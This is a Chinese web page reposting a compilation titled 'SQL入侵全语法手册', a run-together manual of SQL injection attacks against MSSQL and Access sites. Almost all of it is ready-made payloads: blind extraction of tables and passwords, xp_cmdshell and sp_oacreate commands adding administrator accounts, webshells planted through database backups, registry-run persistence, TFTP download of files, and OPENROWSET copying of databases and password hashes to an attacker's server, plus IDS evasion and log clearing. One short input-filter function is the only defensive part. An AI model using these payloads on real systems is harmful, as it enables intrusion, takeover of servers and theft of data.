网站导航网学 原创论文 原创专题 网站设计 最新系统 原创论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 交易代码 > SQL语法 > 正文

SQL入侵全语法手册

论文降重修改服务、格式排版等 获取论文 论文降重及排版 论文发表 相关服务

【网学网提醒】:网学会员为广大网友收集整理了,SQL入侵全语法手册,希望对大家有所帮助!


    SQL手工注入大全
    ------------------------------------------------------------------
    比方说在查询id是50的数据时,如果用户传近来的参数是50and1=1,如果没有设置过滤的话,可以直接查出来,SQL注入一般在ASP程序中遇到最多,看看下面的1.判断是否有注入;and1=1;and1=22.初步判断是否是mssql;anduser>03.判断数据库系统;and(selectcount(*)fromsysobjects)>0mssql;and(selectcount(*)frommsysobjects)>0access4.注入参数是字符'and[查询条件]and''='5.搜索时没过滤参数的'and[查询条件]and'%25'='6.猜数据库;and(selectCount(*)from[数据库名])>07.猜字段;and(selectCount(字段名)from数据库名)>08.猜字段中记录长度;and(selecttop1len(字段名)from数据库名)>09.(1)猜字段的ascii值(access);and(selecttop1asc(mid(字段名,1,1))from数据库名)>0(2)猜字段的ascii值(mssql);and(selecttop1unicode(substring(字段名,1,1))from数据库名)>010.测试权限结构(mssql)
     ;and1=(selectIS_SRVROLEMEMBER('sysadmin'));-;and1=(selectIS_SRVROLEMEMBER('serveradmin'));-;and1=(selectIS_SRVROLEMEMBER('setupadmin'));-;and1=(selectIS_SRVROLEMEMBER('securityadmin'));-;and1=(selectIS_SRVROLEMEMBER('diskadmin'));-;and1=(selectIS_SRVROLEMEMBER('bulkadmin'));-;and1=(selectIS_MEMBER('db_owner'));-11.添加mssql和系统的帐户;execmaster.dbo.sp_addloginusername;-;execmaster.dbo.sp_passwordnull,username,password;-;execmaster.dbo.sp_addsrvrolemembersysadminusername;-;execmaster.dbo.xp_cmdshell'netuserusernamepassword/workstations:*/passwordchg:yes/passwordreq:yes/active:yes/add';-;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';-;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';-12.(1)遍历目录;createtabledirs(pathsvarchar(100),idint);insertdirsexecmaster.dbo.xp_dirtree'c:\';and(selecttop1pathsfromdirs)>0;and(selecttop1pathsfromdirswherepathsnotin('上步得到的paths'))>)(2)遍历目录;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));-;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器;insertintotemp(id)execmaster.dbo.xp_subdirs'c:\';--获得子目录列表;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--获得所有子目录的目录树结构;insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:\web\index.asp';--查看文件的内容13.mssql中的存储过程xp_regenumvalues注册表根键,子键;execxp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'以多个记录集方式返回所有键值xp_regread根键,子键,键值名;execxp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'返回制定键的值xp_regwrite根键,子键,值名,值类型,值值类型有2种REG_SZ
    表示字符型,REG_DWORD表示整型;execxp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName'
    /times:all
     ,'reg_sz','hello'写入注册表xp_regdeletevalue根键,子键,值名execxp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName'删除某个值xp_regdeletekey'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值14.mssql的backup创建webshellusemodelcreatetablecmd(strimage);insertintocmd(str)values('');backupdatabasemodeltodisk='c:\l.asp';15.mssql内置函数;and(select@@version)>0获得Windows的版本号;anduser_name()='dbo'判断当前系统的连接用户是不是sa;and(selectuser_name())>0爆当前系统的连接用户;and(selectdb_name())>0得到当前连接的数据库
    16.简洁的webshellusemodelcreatetablecmd(strimage);insertintocmd(str)values('');backupdatabasemodeltodisk='g:\wwwtest\l.asp';请求的时候,像这样子用:ip/l.asp?c=dirSQL手工注入大全前提需要工具:SQLQueryAnalyzer和SqlExecSunxVersion1.去掉xp_cmdshell扩展过程的方法是使用如下语句:ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo].[xpcmdshell]')andOBJECTPROPERTY(id,N'IsExtendedProc')=1)execsp_dropextendedprocN'[dbo].[xp_cmdshell]'2.添加xp_cmdshell扩展过程的方法是使用如下语句:(1)SQLQueryAnalyzer
     sp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'(2)首先在SqlExecSunxVersion的Format选项里填上%s,在CMD选项里输入sp_addextendedproc'xp_cmdshell','xpsql70.dll'去除sp_dropextendedproc'xp_cmdshell'(3)MSSQL2000sp_addextendedproc'xp_cmdshell','xplog70.dll'
    SQL手工注入方法总结(SQLServer2005)2010-01-2816:17---------以下以省略注入点用URL代替--(1)******查看驱动器方法******--建表p(i为自动编号,a记录盘符类似"c:\",b记录可用字节,其它省略)URL;createtablep(iintidentity(1,1),anvarchar(255),bnvarchar(255),cnvarchar(255),dnvarchar(255));-URL;insertpexecxp_availablemedia;--列出所有驱动器并插入表pURL;and(selectcount(*)fromp)>3;--折半法查出驱动器总数URL;andascii(substring((selectafrompwherei=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名URL;and(selectafrompwherei=1)>3;--报错得到第一个驱动器名--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名URL;;droptablep;--删除表p--(2)******查看目录方法******
     URL;createtablepa(mnvarchar(255),invarchar(255));--建表pa(m记录目录,i记录深度)URL;insertpaexecxp_dirtree’e:’;--列出驱动器e并插入表paURL;and(selectcount(*)frompawherei>0)>-1;--折半法查出i深度URL;and(selecttop1
    mfrompawherei=1andmnotin(selecttop0mfrompa))>0;--报错得到深度i=1的第一个目录名--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top0"换为"top1",换深度只换i就行)以此类推,得到e盘的所有目录URL;andlen((selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa)))>0;--折半法查出深度i=1的第一个目录名的长度URL;andascii(substring((selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度--上面一般用无显错情况下使用-------(得到第二个目录把"top0"换为"top1",换深度只换i就行)以此类推,得到e盘的所有目录URL;droptablepa;--删除表pa----------------------------经过上面的方法就可得到服务器所有目录(这里为连接用户有读取权限目录)------------------(3)数据库备份到Web目录(先拿个WebShell再说吧注:此为SQLServer2000)URL;alterdatabaseemploy_setRECOVERYFULL;--把当前库L设置成日志完全恢复模式URL;URL;createtables(limage);--建表sURL;backuplogstodisk=’c:cmd’withinit;--减少备分数据的大小URL;URL;insertsvalues(’’)--在表s中插入一句话马URL;backuploghhtodisk=’e:\web\g.asp’;--备分日志到WEB路径URL;droptables;--删除表sURL;alterdatabasehhsetRECOVERYSIMPLE;--把SQL设置成日志简单恢复模式--------------------------------------OK到----------------------------------------------此WebShell应该到手了
     --(4)以下为一些注入杂项----SA权限:URL;execaster.dbo.sp_addloginhacker;--添加SQL用户URL;execmaster.dbo.sp_passwordnull,hacker,hacker;--设置SQL帐号hacker的密码为hackerRL;execmaster.dbo.sp_addsrvrolemembersysadminhacker;--加hacker进sysadmin管理组URL;execmaster.dbo.xp_cmdshell’netuserhackerhacker/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add’;--建立一个系统用hacker并设置其密码为hackerURL;execmaster.dbo.xp_cmdshell’netlocalgroupadministratorshacker/add’;--hacker加入到管理员组----SQLServer2005暴库、表、段法(前提有显错、无显错用折半法)URLand0<(selectcount(*)frommaster.dbo.sysdatabases);--折半法得到数据库个数URLand0<(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=1);---依次提交dbid=2.3.4...得到更多的数据库名URLand0<(selectcount(*)namefromemploy.dbo.sysobjectswherextype=’U’);--折半法得到表个数(假设暴出库名employ)URLand0<(selecttop1namefromemploy.dbo.sysobjectswherextype=’U’)--假设暴出表名为"employ_qj"则在上面语句上加条件andnamenotin(’employ_qj’以此一直加条件....URLand0<(selecttop1namefromsyscolumnswhereidin(selectidfromsysobjectswheretype=
    ’u’andname=’employ_qj’));---假设暴出字段名为"id"则在上面语句上加上条件andnamenotis(’id’)以此一直加条件....---------------------按上面方法库、表、段的名称都可以得到----用以上方法可以得到段段里的数据-------------------select*frommaster.dbo.sysdatabases--查询数据库
     select*fromNetBook.dbo.sysobjectswherextype=’u’--查询数据库NetBook里的表select*fromNetBook.dbo.syscolumnswhereid=object_id(’book’)--查询book表里的字段-----------------------------------------------------------------------------------------------------------------------------------------------------SQL扩展沙盘提权----------------------------------看来xp_cmdshell是不能用鸟~不过偶们还有SP_OAcreate可以用用SP_OAcreate一样可以执行系统命令在查询分析器里执行DECLARE@shellINTEXECSP_OAcreate’wscript.shell’,@shellOUTPUTEXECSP_OAMETHOD@shell,’run’,null,’C:\WINdows\system32\cmd.exe/cnetusergydyhookhook/add’这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户然后直接提升为管理员权限就OK了提示命令完成成功
    直接写个一句话进去语句如下execmaster.dbo.xp_subdirs’d:\web\xx’;execsp_makewebtask’d:\web\XXXX\XX.asp’,’select’’’’’提示命令执行成功偶们看看效果查询分析器里执行select*fromopenrowset(’microsoft.jet.oledb.4.0’,’;database=c:\windows\system32\ias\ias.mdb’,’selectshell("cmd.exe/cnetuseradminadmin1234/add")’)来利用沙盘来添加个管理员但是事实告诉我我的RP并不好嘿嘿使用declare@oint,@fint,@tint,@retintdeclare@linevarchar(8000)execsp_oacreate’scripting.filesystemobject’,@ooutexecsp_oamethod@o,’opentextfile’,@fout,’d:\Serv-U6.3\ServUDaemon.ini’,1exec@ret=sp_oamethod@f,’readline’,@lineoutwhile(@ret=0)beginprint@lineexec@ret=sp_oamethod@f,’readline’,@lineoutend这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来嘿嘿既然能看了那偶门不是一样可以写进去?
     直接写一个系统权限的FTP帐号进去使用declare@oint,@fint,@tint,@retintexecsp_oacreate’scripting.filesystemobject’,@ooutexecsp_oamethod@o,’createtextfile’,@fout,’d:\Serv-U6.3\ServUDaemon.ini’,1exec@ret=sp_oamethod@f,’writeline’,NULL,《这里添写自己写好的SU配置信息刚才复制的那些都要写上去》然后执行一下成功执行我们再用存储过程看看写进去没有OK我XXXXXX成功写进去了一个用户名为XXXX密码为空的系统权限的FTP然后偶们在FTP里执行quotesiteXXXXXXX提权就好了。这里已经很熟悉了就不写了。然后用3389连一下成~功地到服务器权限然后偶们再用setnocountondeclare
    @logicalfilenamesysname,@maxminutesint,@newsizeint来清理掉SQL日志免的被管理员发现-----DECLARE@cmdINTEXECsp_oacreate&;apos;wscript.shell&;apos;,@cmdoutputEXECsp_oamethod@cmd,&;apos;run&;apos;,null,&;apos;cmd.exerenwoxin$Content$nbsp;test/add&;a/cnetuser
    ------------------------------MSSQLdb_owner注入利用xp_regwrite获得系统权限--------------------------------------xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’netuserh86$hacker/add’
    呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入
    xp_regwrite’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’netlocalgroupadministratorsh86$/add’--------------------------------------------------------------------------------------------简单的如wherextype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用户’,可以用wherename=nchar(29992)+nchar(25143)代替。
     -------------------------------------------备份一句话木马---------------------------------------日志备分WEBSHELL标准的七步:1.InjectionURL’;alterdatabaseXXXsetRECOVERYFULL--(把SQL设置成日志完全恢复模式)2.InjectionURL’;createtablecmd(aimage)--(新建立一个cmd表)3.InjectionURL’;backuplogXXXtodisk=’c:cmd’withinit--(减少备分数据的大小)4.InjectionURL’;insertintocmd(a)values(’’)--(插入一句话木马)5.InjectionURL’;backuplogXXXtodisk=’d:chinakmtest.asp’--(备分日志到WEB路径)6.InjectionURL’;droptablecmd--(删除新建的cmd表)7.InjectionURL’;alterdatabaseXXXsetRECOVERYSIMPLE--(把SQL设置成日志简单恢复模式)注:InjectionURL是注入点,XXX是数据库名称.数据库差异备份代码:BACKUP/**/LOG/**/peihua/**/WITH/**/NO_LOG/**/DBCC/**/SHRINKDATABASE(peihua)-dump/**/transaction/**/peihua/**/with/**/no_log-0.dumptransaction数据库名withno_log清空日志1、createtable[dbo].[jm_tmp]([cmd][image])--创建一个表2、declare@asysname,@snvarchar(4000)select@a=db_name(),@s=0X6A006D00640063007700backupdatabase@atodisk=@s--备份数据库,@s为备份名称(jmdcw的16进制转换)3、insertinto[jm_tmp](cmd)values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马""的16进制字符插入到表中4、declare@asysname,@snvarchar(4000)select@a=db_name(),@s=’CrogramFilesCommonFilesMicrosoftSharedWebServerExtensions40isapihsqq.asp’backupdatabase@atodisk=@sWITHDIFFERENTIAL,FORMAT--对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。
     5、droptable[jm_tmp]--删除此表。---------------------------------------------------防---------
    ----------------------------------FunctionSafeRequest(ParaName,ParaType)’---传入参数--’ParaName:参数名称-字符型’ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)DimParavalueParavalue=Request(ParaName)IfParaType=1thenIfnotisNumeric(Paravalue)thenResponse.write"参数"&;ParaName&;"必须为数字型!"Response.endEndifElseParavalue=replace(Paravalue,"’","’’")EndifSafeRequest=ParavalueEndfunction
    --绕过单引号继续注入URL;declare@cmdsysnameselect@cmd=这里为你要执行命令的16进制execmaster.dbo.xp_cmdshell@cmd;---先声明一个变量cmd,然后把我们的指令赋值给cmd--sqlserver2005下开启xp_cmdshell的办法EXECsp_configure’showadvancedsp_configure’xp_cmdshell’,1;RECONFIGURE;--SQL2005开启’OPENROWSET’支持的方法:execsp_configure’showadvancedoptions’,1;RECONFIGURE;execsp_configure’AdHocDistributedQueries’,1;RECONFIGURE;--SQL2005开启’sp_oacreate’支持的方法:execsp_configure’showadvancedoptions’,1;RECONFIGURE;execsp_configure’OleAutomationProcedures’,1;RECONFIGURE;options’,1;RECONFIGURE;EXEC
     在db权限并且分离获取mssql数据库服务器ip的方法1.本地nc监听nc-vvlp802.;insertintoOPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;’,’select*fromdest_table’)select*fromsrc_table;--
    ---------------------------------以下为检测方法----------------------------------检测可否注入=============================================================================URLand1=1;--正常页面URLand1=2;--出错页面=============================================================================--检测数据库的=============================================================================URLand(selectcount(*)fromsysobjects)>0;--返回正常sqlserverURLand(selectcount(*)frommsysobjects)>0;--返回正常Access=============================================================================--检测路径的=============================================================================URLand(selectcount(*)frommaster.dbo.sysdatabaseswherename>0anddbid=6)>0;-=============================================================================--检测表段的=============================================================================URLandexists(select*fromadmin);-=============================================================================--检测字段的=============================================================================
     URLandexists(selectusernamefromadmin);-=============================================================================--检测ID=============================================================================URLandexists(selectidfromadminwhereID=1);-==========================
    ===================================================--检测长度的=============================================================================URLandexists(selectidfromadminwherelen(username)=5andID=1);-=============================================================================--检测是否为MSSQL数据库=============================================================================URLandexists(select*fromsysobjects);-=============================================================================--检测是否为英文;-=============================================================================URLandexists(selectidfromadminwhereasc(mid(username,1,1))between30and130andID=1);--ACCESS数据库
    URLandexists(selectidfromadminwhereunicode(substring(username,1,1))between30and130andID=1);--MSSQL数据库=============================================================================--检测英文的范围=============================================================================URLandexists(selectidfromadminwhereasc(mid(username,1,1))between90and100andID=1);--ACCESS数据库
     URLandexists(selectidfromadminwhereunicode(substring(username,1,1))between90and100andID=1);--MSSQL数据库=============================================================================--检测那个字符=============================================================================URLandexists(selectidfromadminwhereasc(mid(username,1,1))=97andID=1);--ACCESS数据库URLandexists(selectidfromadminwhereunicode(substring(username,1,1))=97andID=1);--MSSQL数据库
    在对web应用进行渗透测试时,SQL注入无疑是最重要的检测项之一,下面就对常用的SQL注入语句进行一个归纳总结,便于在进行渗透测试时使用。1.判断有无注入点判断有无注入点;and1=1and1=2
    2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..猜表一般的表的名称无非是猜表一般and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)---判断是否存在admin这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个猜帐号数目返回错误页面说明帐号数目就是and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称猜解字段名称括号里面加上我们想到的字段名称.and1=(selectcount(*)fromadminwherelen(*)>0)-and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)and1=(selectcount(*)fromadminwherelen(密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止and1=(selectcount(*)fromadminwherelen(*)>0)and1=(selectcount(*)fromadminwherelen(name
    )>6)错误and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6and1=(selectcount(*)fromadminwherelen(name)=6)正确
     and1=(selectcount(*)fromadminwherelen(password)>11)正确and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12and1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)---猜解用户帐号的第一位and1=(selectcount(*)fromadminwhereleft(name,2)=ab)---猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)-这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.groupbyusers.idhaving1=1-groupbyusers.id,users.username,users.password,users.privshaving1=1-;insertintousersvalues(666,attacker,foobar,0xffff)-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableUNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id)UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id,login_name)UNIONSELECTTOP1login_nameFROMlogintableUNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul-看服务器打的补丁=出错了打了看服务器打的补丁出错了打了SP4补丁and1=(select@@VERSION)-看数据库连接账号的权限,返回正常,权限。看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。and1=(SELECTIS_SRVROLEMEMBER(sysadmin))-判断连接数据库帐号。(采用返回正常=证明了连接账号是判断连接数据库帐号。(采用SA账号连接返回正常证明了连接账号是SA)。()andsa=(SELECTSystem_user)-anduser_name()=dbo-and0<>(selectuser_name()-看xp_cmdshell是否删除and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)--
     xp_cmdshell被删除,恢复支持绝对路径的恢复被删除,恢复,支持绝对路径的恢复;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll-;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:\inetpub\wwwroot\xplog70.dll-反向PING自己实验;usemaster;declare@sint;execsp_oacreate"wscript.shell",@sout;execsp_oamethod@s,"run",NULL,"cmd.exe/cping192.168.0.1";-加帐号;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add-创建一个虚拟目录E盘:;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs-w"默认Web站点"-v"e","e:\"-
    访问属性:(配合写入一个webshell)访问属性:(配合写入一个):(declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse
    特殊技巧:或者把/和修改%5提交爆库特殊技巧::%5c=\或者把和\修改and0<>(selecttop1pathsfromnewtable)-得到库名(得到库名(从1到5都是系统的id,6以上才可以判断),以上才可以判断)and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)-and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)依次提交dbid=7,8,9....得到更多的数据库名and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为adminand0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来得到其他的表。and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid>(str(id)))暴到UID的数值假设为18779569uid=idand0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_idand0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin(id,...))来暴出其他的字段and0<(selectuser_idfromBBS.dbo.adminwhereusername>1)可以得到用户名依次可以得到密码。。。。。假设存在user_idusername,password等字段
     and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid>(str(id)))判断id值and0<>(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)得到WEB路径;createtable[dbo].[swap]([swappass][char](255));-and(selecttop1swappassfromswap)=1-;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)-;useku1;-;createtablecmd(strimage);--建立image类型的表cmd存在xp_cmdshell的测试过程:;execmaster..xp_cmdshelldir;execmaster.dbo.sp_addloginjiaoniang$;--加SQL帐号;execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;-;execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;-;execmaster.dbo.xp_cmdshellnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;-;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsjiaoniang$/add;-execmaster.
    .xp_servicecontrolstart,schedule启动服务execmaster..xp_servicecontrolstart,server;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe
     /cnetlocalgroupadministratorsjiaoniang$/add;execmaster..xp_cmdshelltftp-iyouipgetfile.exe--利用TFTP上传文件;declare@asysnameset@a=xp_+cmdshellexec@adirc:\;declare@asysnameset@a=xp+_cm’+’dshellexec@adirc:\;declare@a;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目录bak.dat如果被限制则可以。select*fromopenrowset(sqloledb,server;sa;,selectOK!execmaster.dbo.sp_addloginhax)查询构造:SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass<>select123;-;usemaster;-:aornamelikefff%;--显示有一个叫ffff的用户哈。and1<>(selectcount(email)from[user]);-;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;-;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;-;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;-;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;-;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;-;update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;-上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的ID得到第二个表的名字insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)-insertintousersvalues(667,123,123,0xffff)-insertintousersvalues(123,admin--,password,0xffff)-;anduser>0;and(selectcount(*)fromsysobjects)>0;and(selectcount(*)frommysysobjects)>0//为access数据库枚举出数据表名;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);-这是将第一个表名更新到aaa的字段处。读出第一个表,第二个表可以这样读出来(在条件后加上andname<>刚才得到的表名)。
     ;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0andname<>vote);-然后id=1552andexists(select*fromaaawhereaaa>5)读出第二个表,一个个的读出,直到没有为止。读字段是这样:;updateaaasetaaa=(selecttop1col_name(object_id(表名),1));-然后id=152andexists(select*fromaaawhereaaa>5)出
    错,得到字段名;updateaaasetaaa=(selecttop1col_name(object_id(表名),2));-然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>你得到的表名查出一个加一个])[where条件]selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin(table1,table2,…)通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组][获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:1)[where条件]绕过IDS的检测[使用变量的检测使用变量]使用变量;declare@asysnameset@a=xp_+cmdshellexec@adirc:\;declare@asysnameset@a=xp+_cm’+’dshellexec@adirc:\开启远程数据库基本语法select*fromOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select*fromtable1)参数:(1)OLEDBProvidername其中连接字符串参数可以是任何端口用来连接,比如select*fromOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable复制目标主机的整个数据库insert所有远程表到本地表。基本语法:insertintoOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select*fromtable1)select*fromtable2这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable1)select*from
     table2insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_sysdatabases)select*frommaster.dbo.sysdatabasesinsertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_sysobjects)select*fromuser_database.dbo.sysobjectsinsertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_syscolumns)select*fromuser_database.dbo.syscolumns复制数据库:复制数据库:insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable1)select*fromdatabase..table1insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable2)select*fromdatabase..table2复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_sysxlogins)select*fromdatabase.dbo.sysxlogins
    得到hash之后,就可以进行暴力破解。遍历目录的方法:先创建一个临时表:temp;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));-;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器;insertintotemp(id)execmaster.dbo.xp_subdirsc:\;--获得子目录列表;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:\;--获得所有子目录的目录树结构,并寸入temp表中;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:\web\index.asp;--查看某个文件的内容;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:\;-;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:\*.asp/s/a;-;insertintotemp(id)execmaster.dbo.xp_cmdshellcscriptC:\Inetpub\AdminScripts\adsutil.vbsenumw3svc;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:\;--(xp_dirtree适用权限PUBLIC)写入表:语句1:and1=(SELECTIS_SRVROLEMEMBER(sysadmin));-语句2:and1=(SELECTIS_SRVROLEMEMBER(serveradmin));--
